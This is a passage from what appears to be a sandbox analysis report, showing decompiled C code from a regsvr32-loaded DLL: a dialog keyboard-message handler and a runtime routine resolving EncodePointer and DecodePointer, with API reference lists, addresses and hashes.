							L21:
							__eflags =  *(_t238 + 4);
							if(__eflags == 0) {
								E6EB48BA4(0, _t232, _t238, _t247, __eflags);
								asm("int3");
								_push(0x28);
								E6EB6652E(0x6eb7829f, 0, _t238, _t247);
								_t146 = _a4;
								__eflags = _t146;
								if(_t146 != 0) {
									_v48 =  *((intOrPtr*)(_t146 + 0x20));
								} else {
									_v48 = _v48 & _t146;
								}
								_t240 = _a8;
								_t249 = _t240->message;
								_v32 = _t249;
								_v52 = GetFocus();
								_t149 = E6EB4C72D(0, _t232, _t148);
								_t229 = 0x100;
								_v24 = _t149;
								__eflags = _t249 - 0x100;
								if(_t249 < 0x100) {
									L34:
									__eflags = _t249 + 0xfffffe00 - 9;
									if(_t249 + 0xfffffe00 > 9) {
										goto L56;
									} else {
										goto L35;
									}
								} else {
									__eflags = _t249 - 0x109;
									if(_t249 <= 0x109) {
										L35:
										__eflags = _t149;
										if(_t149 == 0) {
											L56:
											_t251 = 0;
											_v28 = 0;
											_t150 = E6EB4C72D(_t229, _t232,  *_t240);
											_v44 = _v44 & 0;
											_v36 = _t150;
											_t152 = _v32 - _t229;
											__eflags = _t152;
											_v40 = 2;
											if(_t152 == 0) {
												_t153 = E6EB5EEC8(_v36, _t240);
												_t232 =  *(_t240 + 8) & 0x0000ffff;
												__eflags = _t232 - 0x1b;
												if(__eflags > 0) {
													__eflags = _t232 - 0x25;
													if(_t232 < 0x25) {
														goto L75;
													} else {
														__eflags = _t232 - 0x26;
														if(_t232 <= 0x26) {
															_v44 = 1;
															goto L110;
														} else {
															__eflags = _t232 - 0x28;
															if(_t232 <= 0x28) {
																L110:
																_t171 = E6EB5EEC8(_v24, _t240);
																__eflags = _t171 & 0x00000001;
																if((_t171 & 0x00000001) != 0) {
																	goto L75;
																} else {
																	__eflags = _v44;
																	_t232 = _a4;
																	_push(0);
																	if(_v44 == 0) {
																		_t172 = L6EB5003D(_t229, _t232);
																	} else {
																		_t172 = E6EB4FFE6(_t229, _t232);
																	}
																	_t254 = _t172;
																	__eflags = _t254;
																	if(_t254 == 0) {
																		goto L75;
																	} else {
																		__eflags =  *(_t254 + 8);
																		if( *(_t254 + 8) != 0) {
																			_t232 = _a4;
																			E6EB4FB3E(_a4, _t254);
																		}
																		__eflags =  *(_t254 + 4);
																		if( *(_t254 + 4) == 0) {
																			_t173 =  *_t254;
																			__eflags = _t173;
																			if(_t173 == 0) {
																				_t232 = _a4;
																				_t174 = E6EB5EF9C(_a4, _v24, _v44);
																			} else {
																				_t174 = E6EB4C72D(_t229, _t232, _t173);
																			}
																			_t242 = _t174;
																			__eflags = _t242;
																			if(_t242 == 0) {
																				goto L75;
																			} else {
																				_t229 = 0;
																				 *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x4c)) + 0x70)) = 0;
																				E6EB5EFDF(_t242);
																				__eflags =  *(_t254 + 8);
																				if( *(_t254 + 8) != 0) {
																					SendMessageA( *(_t242 + 0x20), 0xf1, 1, 0);
																				}
																				goto L125;
																			}
																		} else {
																			_t232 =  *(_t254 + 4);
																			 *((intOrPtr*)( *( *(_t254 + 4)) + 0xac))(_t240);
																			goto L125;
																		}
																	}
																}
															} else {
																__eflags = _t232 - 0x2b;
																if(_t232 != 0x2b) {
																	goto L75;
																} else {
																	goto L97;
																}
															}
														}
													}
													goto L126;
												} else {
													if(__eflags == 0) {
														L103:
														_t243 = 0;
														__eflags = 0;
														goto L104;
													} else {
														__eflags = _t232 - 3;
														if(_t232 == 3) {
															goto L103;
														} else {
															__eflags = _t232 - 9;
															if(_t232 == 9) {
																__eflags = _t153 & 0x00000002;
																if((_t153 & 0x00000002) != 0) {
																	goto L75;
																} else {
																	_t188 = GetKeyState(0x10);
																	_t255 = _a4;
																	__eflags = _t188;
																	_t229 = 0 | _t188 < 0x00000000;
																	_t232 = _t255;
																	_t189 = E6EB4F9FE(_t188 < 0, _t255, 0, _t188 < 0);
																	__eflags = _t189;
																	if(_t189 == 0) {
																		goto L75;
																	} else {
																		__eflags =  *(_t189 + 4);
																		if( *(_t189 + 4) == 0) {
																			_t190 =  *_t189;
																			__eflags = _t190;
																			if(_t190 == 0) {
																				_t232 = _t255;
																				_t191 = E6EB52AF6(_t255, _v36, _t229);
																			} else {
																				_t191 = E6EB4C72D(_t229, _t232, _t190);
																			}
																			_t244 = _t191;
																			__eflags = _t244;
																			if(_t244 != 0) {
																				 *( *((intOrPtr*)(_t255 + 0x4c)) + 0x70) =  *( *((intOrPtr*)(_t255 + 0x4c)) + 0x70) & 0x00000000;
																				E6EB5EFDF(_t244);
																				L6EB5F1A3(_t229, _t232, _v24, _t244);
																				_pop(_t232);
																			}
																		} else {
																			_t195 =  *(_t189 + 4);
																			_t232 = _t195;
																			 *((intOrPtr*)( *_t195 + 0xac))(_t240);
																		}
																		goto L125;
																	}
																}
																goto L126;
															} else {
																__eflags = _t232 - 0xd;
																if(_t232 == 0xd) {
																	L97:
																	__eflags = _t153 & 0x00000004;
																	if((_t153 & 0x00000004) != 0) {
																		goto L75;
																	} else {
																		_t182 = E6EB5EF74(_v24);
																		_pop(_t232);
																		__eflags = _t182 & 0x00000010;
																		if((_t182 & 0x00000010) == 0) {
																			_t183 = E6EB5F32F(_a4);
																		} else {
																			_t251 = _v24;
																			_t232 = _t251;
																			_t183 = E6EB4F670(_t251);
																		}
																		_t243 = 0;
																		_v40 = _t183;
																		__eflags = _t251;
																		if(_t251 != 0) {
																			L105:
																			_t232 = _t251;
																			_t184 = E6EB4F6F2(_t251);
																			__eflags = _t184;
																			if(_t184 != 0) {
																				__eflags =  *((intOrPtr*)(_t251 + 0x50)) - _t243;
																				if( *((intOrPtr*)(_t251 + 0x50)) == _t243) {
																					goto L75;
																				} else {
																					_push(_t243);
																					_push(_t243);
																					_push(_t243);
																					_push(1);
																					_push(0xfffffdd9);
																					_push(_t251);
																					_v8 = _t243;
																					E6EB4F755();
																					_v8 = _v8 | 0xffffffff;
																					goto L125;
																				}
																			} else {
																				MessageBeep(_t243);
																				goto L75;
																			}
																		} else {
																			L104:
																			_t251 = E6EB5F222(_a4, _v40);
																			__eflags = _t251 - _t243;
																			if(_t251 == _t243) {
																				goto L75;
																			} else {
																				goto L105;
																			}
																		}
																	}
																	goto L126;
																} else {
																	goto L75;
																}
															}
														}
													}
												}
												goto L79;
											} else {
												_t198 = _t152;
												__eflags = _t198;
												if(_t198 == 0) {
													L62:
													_t199 = E6EB5EEC8(_v36, _t240);
													__eflags = _v32 - 0x102;
													if(_v32 != 0x102) {
														L64:
														_t232 =  *(_t240 + 8) & 0x0000ffff;
														__eflags = _t232 - 9;
														if(_t232 != 9) {
															L66:
															__eflags = _t232 - 0x20;
															if(__eflags == 0) {
																goto L54;
															} else {
																_push(_t240);
																_t200 = E6EB5F5ED(_t229, _t232, _t240, _t251, __eflags, _a4, _v36);
																__eflags = _t200;
																if(_t200 == 0) {
																	goto L75;
																} else {
																	_t201 =  *(_t200 + 4);
																	__eflags = _t201;
																	if(_t201 == 0) {
																		goto L75;
																	} else {
																		_t232 = _t201;
																		E6EB593AF(_t201, _t240);
																		L125:
																		_v28 = 1;
																	}
																}
																goto L79;
															}
														} else {
															__eflags = _t199 & 0x00000002;
															if((_t199 & 0x00000002) != 0) {
																goto L75;
															} else {
																goto L66;
															}
														}
													} else {
														__eflags = _t199 & 0x00000084;
														if((_t199 & 0x00000084) != 0) {
															goto L75;
														} else {
															goto L64;
														}
													}
												} else {
													_t203 = _t198 - 4;
													__eflags = _t203;
													if(_t203 != 0) {
														L75:
														_t154 = _a4;
														__eflags =  *(_t154 + 0x3c) & 0x00001000;
														if(( *(_t154 + 0x3c) & 0x00001000) == 0) {
															_t165 = IsDialogMessageA( *(_t154 + 0x20), _a8);
															_v28 = _t165;
															__eflags = _t165;
															if(_t165 != 0) {
																_t167 = E6EB4C72D(_t229, _t232, GetFocus());
																__eflags = _t167 - _v24;
																if(_t167 != _v24) {
																	L6EB5F130(_t232, E6EB4C72D(_t229, _t232, GetFocus()));
																	_pop(_t232);
																}
															}
														}
														L79:
														_t155 = IsWindow(_v52);
														__eflags = _t155;
														if(_t155 != 0) {
															L6EB5F1A3(_t229, _t232, _v24, E6EB4C72D(_t229, _t232, GetFocus()));
															_pop(_t234);
															_t161 = IsWindow(_v48);
															__eflags = _t161;
															if(_t161 != 0) {
																E6EB5F364(_a4, _v24, E6EB4C72D(_t229, _t234, GetFocus()));
															}
														}
														_t156 = _v28;
													} else {
														__eflags = _v24 - _t203;
														if(_v24 != _t203) {
															L61:
															__eflags =  *(_t240 + 8) - 0x20;
															if( *(_t240 + 8) == 0x20) {
																goto L75;
															} else {
																goto L62;
															}
														} else {
															_t204 = GetKeyState(0x12);
															__eflags = _t204;
															if(_t204 >= 0) {
																goto L75;
															} else {
																goto L61;
															}
														}
													}
												}
											}
										} else {
											_t256 = _t149;
											while(1) {
												__eflags =  *(_t256 + 0x50);
												if( *(_t256 + 0x50) != 0) {
													break;
												}
												_t211 = E6EB4C72D(_t229, _t232, GetParent( *(_t256 + 0x20)));
												__eflags = _t211 - _a4;
												if(_t211 != _a4) {
													_t256 = E6EB4C72D(_t229, _t232, GetParent( *(_t256 + 0x20)));
													__eflags = _t256;
													if(_t256 != 0) {
														continue;
													}
												}
												break;
											}
											__eflags = _t256;
											if(_t256 == 0) {
												L45:
												__eflags = _v32 - 0x101;
												if(_v32 == 0x101) {
													L48:
													__eflags = _t256;
													if(_t256 == 0) {
														goto L55;
													} else {
														_t257 =  *(_t256 + 0x50);
														__eflags = _t257;
														if(_t257 == 0) {
															goto L55;
														} else {
															_t206 = _a8->wParam & 0x0000ffff;
															__eflags = _t206 - 0xd;
															if(_t206 != 0xd) {
																L52:
																__eflags = _t206 - 0x1b;
																if(_t206 != 0x1b) {
																	goto L55;
																} else {
																	__eflags =  *(_t257 + 0x84) & 0x00000002;
																	if(( *(_t257 + 0x84) & 0x00000002) == 0) {
																		goto L55;
																	} else {
																		goto L54;
																	}
																}
															} else {
																__eflags =  *(_t257 + 0x84) & 0x00000001;
																if(( *(_t257 + 0x84) & 0x00000001) != 0) {
																	L54:
																	_t156 = 0;
																} else {
																	goto L52;
																}
															}
														}
													}
												} else {
													__eflags = _v32 - _t229;
													if(_v32 == _t229) {
														goto L48;
													} else {
														__eflags = _v32 - 0x102;
														if(_v32 != 0x102) {
															L55:
															_t240 = _a8;
															goto L56;
														} else {
															goto L48;
														}
													}
												}
											} else {
												_t207 =  *(_t256 + 0x50);
												__eflags = _t207;
												if(_t207 == 0) {
													goto L45;
												} else {
													__eflags =  *(_t207 + 0x58);
													if( *(_t207 + 0x58) == 0) {
														goto L45;
													} else {
														_t208 =  *(_t207 + 0x58);
														_t232 =  *_t208;
														_t209 =  *((intOrPtr*)( *_t208 + 0x14))(_t208, _a8);
														__eflags = _t209;
														if(_t209 != 0) {
															goto L45;
														} else {
															_t156 = _t209 + 1;
														}
													}
												}
											}
										}
									} else {
										goto L34;
									}
								}
								return E6EB665D3(_t156);
							} else {
								_t232 =  *(_t238 + 4);
								_t215 =  *((intOrPtr*)( *( *(_t238 + 4)) + 0x78))();
								__eflags = _t215 & 0x08000000;
								if((_t215 & 0x08000000) == 0) {
									goto L20;
								} else {
									goto L23;
								}
							}
						} else {
							_t216 =  *(_t238 + 4);
							if(_t216 == 0) {
								_t217 =  *_t238;
							} else {
								_t217 =  *(_t216 + 0x24);
							}
							if(_t217 == 0) {
								goto L21;
							} else {
								if(IsWindowEnabled(_t217) == 0) {
									L23:
									__eflags = _t238 - _v8;
									if(_t238 == _v8) {
										break;
									} else {
										__eflags = _v8;
										if(_v8 == 0) {
											_v8 = _t238;
										}
										_t247 = _t247 + 1;
										__eflags = _t247 - 0x200;
										if(_t247 < 0x200) {
											continue;
										} else {
											break;
										}
									}
								} else {
									L20:
									_t141 = _t238;
									L28:
									return _t141;
								}
							}
						}
					} else {
						_t232 = _a4;
						_t238 = E6EB4F9FE(0, _a4, _t238, 0);
						if(_t238 == 0) {
							break;
						} else {
							goto L14;
						}
					}
					L126:
				}
				_t141 = 0;
				__eflags = 0;
				goto L28;
			}

0x6eb5f5ed
0x6eb5f5f2
0x6eb5f5f3
0x6eb5f5f7
0x6eb5f5f8
0x6eb5f5f9
0x6eb5f600
0x6eb5f605
0x6eb5f609
0x6eb5f60b
0x6eb5f613
0x6eb5f617
0x6eb5f619
0x6eb5f61c
0x6eb5f621
0x6eb5f623
0x6eb5f627
0x6eb5f627
0x6eb5f62f
0x6eb5f631
0x6eb5f636
0x00000000
0x00000000
0x6eb5f640
0x6eb5f650
0x00000000
0x00000000
0x6eb5f652
0x00000000
0x00000000
0x00000000
0x00000000
0x6eb5f640
0x6eb5f654
0x6eb5f654
0x6eb5f621
0x6eb5f617
0x6eb5f656
0x6eb5f656
0x6eb5f658
0x6eb5f664
0x6eb5f66a
0x00000000
0x00000000
0x6eb5f66d
0x6eb5f672
0x6eb5f675
0x6eb5f687
0x6eb5f689
0x6eb5f6ac
0x6eb5f6ac
0x6eb5f6af
0x6eb5f6df
0x6eb5f6e4
0x6eb5f6e5
0x6eb5f6ec
0x6eb5f6f1
0x6eb5f6f4
0x6eb5f6f6
0x6eb5f700
0x6eb5f6f8
0x6eb5f6f8
0x6eb5f6f8
0x6eb5f703
0x6eb5f706
0x6eb5f709
0x6eb5f713
0x6eb5f716
0x6eb5f71b
0x6eb5f720
0x6eb5f723
0x6eb5f725
0x6eb5f72f
0x6eb5f735
0x6eb5f738
0x00000000
0x00000000
0x00000000
0x00000000
0x6eb5f727
0x6eb5f727
0x6eb5f72d
0x6eb5f73e
0x6eb5f73e
0x6eb5f740
0x6eb5f7ed
0x6eb5f7ef
0x6eb5f7f1
0x6eb5f7f4
0x6eb5f7f9
0x6eb5f7fc
0x6eb5f802
0x6eb5f802
0x6eb5f804
0x6eb5f80b
0x6eb5f895
0x6eb5f89a
0x6eb5f89e
0x6eb5f8a1
0x6eb5f9df
0x6eb5f9e2
0x00000000
0x6eb5f9e8
0x6eb5f9e8
0x6eb5f9eb
0x6eb5fa9f
0x00000000
0x6eb5f9f1
0x6eb5f9f1
0x6eb5f9f4
0x6eb5faa6
0x6eb5faaa
0x6eb5faaf
0x6eb5fab1
0x00000000
0x6eb5fab7
0x6eb5fab7
0x6eb5fabb
0x6eb5fabe
0x6eb5fac0
0x6eb5fac9
0x6eb5fac2
0x6eb5fac2
0x6eb5fac2
0x6eb5face
0x6eb5fad0
0x6eb5fad2
0x00000000
0x6eb5fad8
0x6eb5fad8
0x6eb5fadc
0x6eb5fade
0x6eb5fae2
0x6eb5fae2
0x6eb5fae7
0x6eb5faeb
0x6eb5fafb
0x6eb5fafd
0x6eb5faff
0x6eb5fb0c
0x6eb5fb12
0x6eb5fb01
0x6eb5fb02
0x6eb5fb02
0x6eb5fb17
0x6eb5fb19
0x6eb5fb1b
0x00000000
0x6eb5fb21
0x6eb5fb27
0x6eb5fb2a
0x6eb5fb2d
0x6eb5fb32
0x6eb5fb35
0x6eb5fb42
0x6eb5fb42
0x00000000
0x6eb5fb35
0x6eb5faed
0x6eb5faed
0x6eb5faf3
0x00000000
0x6eb5faf3
0x6eb5faeb
0x6eb5fad2
0x6eb5f9fa
0x6eb5f9fa
0x6eb5f9fd
0x00000000
0x00000000
0x00000000
0x00000000
0x6eb5f9fd
0x6eb5f9f4
0x6eb5f9eb
0x00000000
0x6eb5f8a7
0x6eb5f8a7
0x6eb5fa37
0x6eb5fa37
0x6eb5fa37
0x00000000
0x6eb5f8ad
0x6eb5f8ad
0x6eb5f8b0
0x00000000
0x6eb5f8b6
0x6eb5f8b6
0x6eb5f8b9
0x6eb5f959
0x6eb5f95b
0x00000000
0x6eb5f961
0x6eb5f963
0x6eb5f969
0x6eb5f96e
0x6eb5f971
0x6eb5f974
0x6eb5f979
0x6eb5f97e
0x6eb5f980
0x00000000
0x6eb5f986
0x6eb5f986
0x6eb5f98a
0x6eb5f99f
0x6eb5f9a1
0x6eb5f9a3
0x6eb5f9b1
0x6eb5f9b3
0x6eb5f9a5
0x6eb5f9a6
0x6eb5f9a6
0x6eb5f9b8
0x6eb5f9ba
0x6eb5f9bc
0x6eb5f9c5
0x6eb5f9ca
0x6eb5f9d3
0x6eb5f9d9
0x6eb5f9d9
0x6eb5f98c
0x6eb5f98c
0x6eb5f992
0x6eb5f994
0x6eb5f994
0x00000000
0x6eb5f98a
0x6eb5f980
0x00000000
0x6eb5f8bf
0x6eb5f8bf
0x6eb5f8c2
0x6eb5fa03
0x6eb5fa03
0x6eb5fa05
0x00000000
0x6eb5fa0b
0x6eb5fa0e
0x6eb5fa13
0x6eb5fa14
0x6eb5fa16
0x6eb5fa27
0x6eb5fa18
0x6eb5fa18
0x6eb5fa1b
0x6eb5fa1d
0x6eb5fa1d
0x6eb5fa2c
0x6eb5fa2e
0x6eb5fa31
0x6eb5fa33
0x6eb5fa4e
0x6eb5fa4e
0x6eb5fa50
0x6eb5fa55
0x6eb5fa57
0x6eb5fa65
0x6eb5fa68
0x00000000
0x6eb5fa6e
0x6eb5fa6e
0x6eb5fa6f
0x6eb5fa70
0x6eb5fa71
0x6eb5fa73
0x6eb5fa78
0x6eb5fa79
0x6eb5fa7c
0x6eb5fa84
0x00000000
0x6eb5fa84
0x6eb5fa59
0x6eb5fa5a
0x00000000
0x6eb5fa5a
0x6eb5fa35
0x6eb5fa39
0x6eb5fa44
0x6eb5fa46
0x6eb5fa48
0x00000000
0x00000000
0x00000000
0x00000000
0x6eb5fa48
0x6eb5fa33
0x00000000
0x00000000
0x00000000
0x00000000
0x6eb5f8c2
0x6eb5f8b9
0x6eb5f8b0
0x6eb5f8a7
0x00000000
0x6eb5f811
0x6eb5f812
0x6eb5f812
0x6eb5f813
0x6eb5f83f
0x6eb5f843
0x6eb5f848
0x6eb5f84f
0x6eb5f855
0x6eb5f855
0x6eb5f859
0x6eb5f85d
0x6eb5f863
0x6eb5f863
0x6eb5f867
0x00000000
0x6eb5f86d
0x6eb5f86d
0x6eb5f874
0x6eb5f879
0x6eb5f87b
0x00000000
0x6eb5f87d
0x6eb5f87d
0x6eb5f880
0x6eb5f882
0x00000000
0x6eb5f884
0x6eb5f885
0x6eb5f887
0x6eb5fb48
0x6eb5fb48
0x6eb5fb48
0x6eb5f882
0x00000000
0x6eb5f87b
0x6eb5f85f
0x6eb5f85f
0x6eb5f861
0x00000000
0x00000000
0x00000000
0x00000000
0x6eb5f861
0x6eb5f851
0x6eb5f851
0x6eb5f853
0x00000000
0x00000000
0x00000000
0x00000000
0x6eb5f853
0x6eb5f815
0x6eb5f815
0x6eb5f815
0x6eb5f818
0x6eb5f8c8
0x6eb5f8c8
0x6eb5f8cb
0x6eb5f8d2
0x6eb5f8da
0x6eb5f8e0
0x6eb5f8e3
0x6eb5f8e5
0x6eb5f8f0
0x6eb5f8f5
0x6eb5f8f8
0x6eb5f903
0x6eb5f908
0x6eb5f908
0x6eb5f8f8
0x6eb5f8e5
0x6eb5f909
0x6eb5f912
0x6eb5f914
0x6eb5f916
0x6eb5f92a
0x6eb5f930
0x6eb5f934
0x6eb5f936
0x6eb5f938
0x6eb5f949
0x6eb5f949
0x6eb5f938
0x6eb5f94e
0x6eb5f81e
0x6eb5f81e
0x6eb5f821
0x6eb5f834
0x6eb5f834
0x6eb5f839
0x00000000
0x00000000
0x00000000
0x00000000
0x6eb5f823
0x6eb5f825
0x6eb5f82b
0x6eb5f82e
0x00000000
0x00000000
0x00000000
0x00000000
0x6eb5f82e
0x6eb5f821
0x6eb5f818
0x6eb5f813
0x6eb5f746
0x6eb5f74c
0x6eb5f74e
0x6eb5f74e
0x6eb5f752
0x00000000
0x00000000
0x6eb5f75a
0x6eb5f75f
0x6eb5f762
0x6eb5f76f
0x6eb5f771
0x6eb5f773
0x00000000
0x00000000
0x6eb5f773
0x00000000
0x6eb5f762
0x6eb5f775
0x6eb5f777
0x6eb5f79c
0x6eb5f79c
0x6eb5f7a3
0x6eb5f7b3
0x6eb5f7b3
0x6eb5f7b5
0x00000000
0x6eb5f7b7
0x6eb5f7b7
0x6eb5f7ba
0x6eb5f7bc
0x00000000
0x6eb5f7be
0x6eb5f7c1
0x6eb5f7c5
0x6eb5f7c9
0x6eb5f7d4
0x6eb5f7d4
0x6eb5f7d8
0x00000000
0x6eb5f7da
0x6eb5f7da
0x6eb5f7e1
0x00000000
0x00000000
0x00000000
0x00000000
0x6eb5f7e1
0x6eb5f7cb
0x6eb5f7cb
0x6eb5f7d2
0x6eb5f7e3
0x6eb5f7e3
0x00000000
0x00000000
0x00000000
0x6eb5f7d2
0x6eb5f7c9
0x6eb5f7bc
0x6eb5f7a5
0x6eb5f7a5
0x6eb5f7a8
0x00000000
0x6eb5f7aa
0x6eb5f7aa
0x6eb5f7b1
0x6eb5f7ea
0x6eb5f7ea
0x00000000
0x00000000
0x00000000
0x00000000
0x6eb5f7b1
0x6eb5f7a8
0x6eb5f779
0x6eb5f779
0x6eb5f77c
0x6eb5f77e
0x00000000
0x6eb5f780
0x6eb5f780
0x6eb5f784
0x00000000
0x6eb5f786
0x6eb5f786
0x6eb5f78c
0x6eb5f78f
0x6eb5f792
0x6eb5f794
0x00000000
0x6eb5f796
0x6eb5f796
0x6eb5f796
0x6eb5f794
0x6eb5f784
0x6eb5f77e
0x6eb5f777
0x00000000
0x00000000
0x00000000
0x6eb5f72d
0x6eb5f956
0x6eb5f6b1
0x6eb5f6b1
0x6eb5f6b6
0x6eb5f6b9
0x6eb5f6be
0x00000000
0x00000000
0x00000000
0x00000000
0x6eb5f6be
0x6eb5f68b
0x6eb5f68b
0x6eb5f690
0x6eb5f697
0x6eb5f692
0x6eb5f692
0x6eb5f692
0x6eb5f69b
0x00000000
0x6eb5f69d
0x6eb5f6a6
0x6eb5f6c0
0x6eb5f6c0
0x6eb5f6c3
0x00000000
0x6eb5f6c5
0x6eb5f6c5
0x6eb5f6c8
0x6eb5f6ca
0x6eb5f6ca
0x6eb5f6cd
0x6eb5f6ce
0x6eb5f6d4
0x00000000
0x00000000
0x00000000
0x00000000
0x6eb5f6d4
0x6eb5f6a8
0x6eb5f6a8
0x6eb5f6a8
0x6eb5f6d8
0x6eb5f6dc
0x6eb5f6dc
0x6eb5f6a6
0x6eb5f69b
0x6eb5f677
0x6eb5f677
0x6eb5f681
0x6eb5f685
0x00000000
0x00000000
0x00000000
0x00000000
0x6eb5f685
0x00000000
0x6eb5f675
0x6eb5f6d6
0x6eb5f6d6
0x00000000

APIs

GetFocus.USER32 ref: 6EB5F642
IsWindowEnabled.USER32(?), ref: 6EB5F69E
__EH_prolog3_catch.LIBCMT ref: 6EB5F6EC
GetFocus.USER32 ref: 6EB5F70C
GetParent.USER32(?), ref: 6EB5F757
GetParent.USER32(?), ref: 6EB5F767
GetKeyState.USER32(00000012), ref: 6EB5F825
IsDialogMessageA.USER32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6EB5F8DA
GetFocus.USER32 ref: 6EB5F8ED
GetFocus.USER32 ref: 6EB5F8FA
IsWindow.USER32(?), ref: 6EB5F912
GetFocus.USER32 ref: 6EB5F91E
IsWindow.USER32(?), ref: 6EB5F934
GetFocus.USER32 ref: 6EB5F93A
GetKeyState.USER32(00000010), ref: 6EB5F963
MessageBeep.USER32(00000000), ref: 6EB5FA5A

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Focus$Window$MessageParentState$BeepDialogEnabledH_prolog3_catch
String ID:
API String ID: 656273425-0
Opcode ID: 1742e503c6e61e5c899b8e57ffd12a29368cee309e845ff9cb62e99208cf3b90
Instruction ID: d1b1057c796a8d1fb61577b9f2c91692a85481ee34bdf2f91496f712269fb60d
Opcode Fuzzy Hash: 1742e503c6e61e5c899b8e57ffd12a29368cee309e845ff9cb62e99208cf3b90
Instruction Fuzzy Hash: A7F1D331910686EBDF519FE4C954AAEFFBAEF45344F30442AE950AB3A0DB30D960CB51

Uniqueness

Uniqueness Score: -1.00%

Function 6EB6A6BF Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 57
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 92%

			E6EB6A6BF(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				struct HINSTANCE__* _t23;
				intOrPtr _t28;
				intOrPtr _t32;
				intOrPtr _t45;
				void* _t46;

				_t35 = __ebx;
				_push(0xc);
				_push(0x6eb85438);
				E6EB66608(__ebx, __edi, __esi);
				_t44 = L"KERNEL32.DLL";
				_t23 = GetModuleHandleW(L"KERNEL32.DLL");
				if(_t23 == 0) {
					_t23 = E6EB66E9D(_t44);
				}
				 *(_t46 - 0x1c) = _t23;
				_t45 =  *((intOrPtr*)(_t46 + 8));
				 *((intOrPtr*)(_t45 + 0x5c)) = 0x6eb7ce40;
				 *((intOrPtr*)(_t45 + 0x14)) = 1;
				if(_t23 != 0) {
					_t35 = GetProcAddress;
					 *((intOrPtr*)(_t45 + 0x1f8)) = GetProcAddress(_t23, "EncodePointer");
					 *((intOrPtr*)(_t45 + 0x1fc)) = GetProcAddress( *(_t46 - 0x1c), "DecodePointer");
				}
				 *((intOrPtr*)(_t45 + 0x70)) = 1;
				 *((char*)(_t45 + 0xc8)) = 0x43;
				 *((char*)(_t45 + 0x14b)) = 0x43;
				 *(_t45 + 0x68) = 0x6eb89b28;
				E6EB6AEB4(_t35, 0xd);
				 *(_t46 - 4) =  *(_t46 - 4) & 0x00000000;
				InterlockedIncrement( *(_t45 + 0x68));
				 *(_t46 - 4) = 0xfffffffe;
				E6EB6A794();
				E6EB6AEB4(_t35, 0xc);
				 *(_t46 - 4) = 1;
				_t28 =  *((intOrPtr*)(_t46 + 0xc));
				 *((intOrPtr*)(_t45 + 0x6c)) = _t28;
				if(_t28 == 0) {
					_t32 =  *0x6eb8a130; // 0x6eb8a058
					 *((intOrPtr*)(_t45 + 0x6c)) = _t32;
				}
				E6EB6E88F( *((intOrPtr*)(_t45 + 0x6c)));
				 *(_t46 - 4) = 0xfffffffe;
				return E6EB6664D(E6EB6A79D());
			}

0x6eb6a6bf
0x6eb6a6bf
0x6eb6a6c1
0x6eb6a6c6
0x6eb6a6cb
0x6eb6a6d1
0x6eb6a6d9
0x6eb6a6dc
0x6eb6a6e1
0x6eb6a6e2
0x6eb6a6e5
0x6eb6a6e8
0x6eb6a6f2
0x6eb6a6f7
0x6eb6a6ff
0x6eb6a707
0x6eb6a717
0x6eb6a717
0x6eb6a71d
0x6eb6a720
0x6eb6a727
0x6eb6a72e
0x6eb6a737
0x6eb6a73d
0x6eb6a744
0x6eb6a74a
0x6eb6a751
0x6eb6a758
0x6eb6a75e
0x6eb6a761
0x6eb6a764
0x6eb6a769
0x6eb6a76b
0x6eb6a770
0x6eb6a770
0x6eb6a776
0x6eb6a77c
0x6eb6a78d

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,6EB85438,0000000C,6EB6A7FA,00000000,00000000,?,6EB6AB74,00000000,00000001,00000000,?,6EB6AE3E,00000018,6EB85488,0000000C), ref: 6EB6A6D1
__crt_waiting_on_module_handle.LIBCMT ref: 6EB6A6DC

Part of subcall function 6EB66E9D: Sleep.KERNEL32(000003E8,00000000,?,6EB6A622,KERNEL32.DLL,?,?,6EB6A9B6,00000000,?,6EB646DA,00000000,?,?,?,6EB6473D), ref: 6EB66EA9
Part of subcall function 6EB66E9D: GetModuleHandleW.KERNEL32(00000000,?,6EB6A622,KERNEL32.DLL,?,?,6EB6A9B6,00000000,?,6EB646DA,00000000,?,?,?,6EB6473D,?), ref: 6EB66EB2

GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 6EB6A705
GetProcAddress.KERNEL32(00000000,DecodePointer), ref: 6EB6A715
__lock.LIBCMT ref: 6EB6A737
InterlockedIncrement.KERNEL32(?), ref: 6EB6A744
__lock.LIBCMT ref: 6EB6A758
___addlocaleref.LIBCMT ref: 6EB6A776

Strings

EncodePointer, xrefs: 6EB6A6F9
KERNEL32.DLL, xrefs: 6EB6A6CB, 6EB6A6D0, 6EB6A6DB
DecodePointer, xrefs: 6EB6A70D

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: AddressHandleModuleProc__lock$IncrementInterlockedSleep___addlocaleref__crt_waiting_on_module_handle
String ID: DecodePointer$EncodePointer$KERNEL32.DLL
API String ID: 1028249917-2843748187
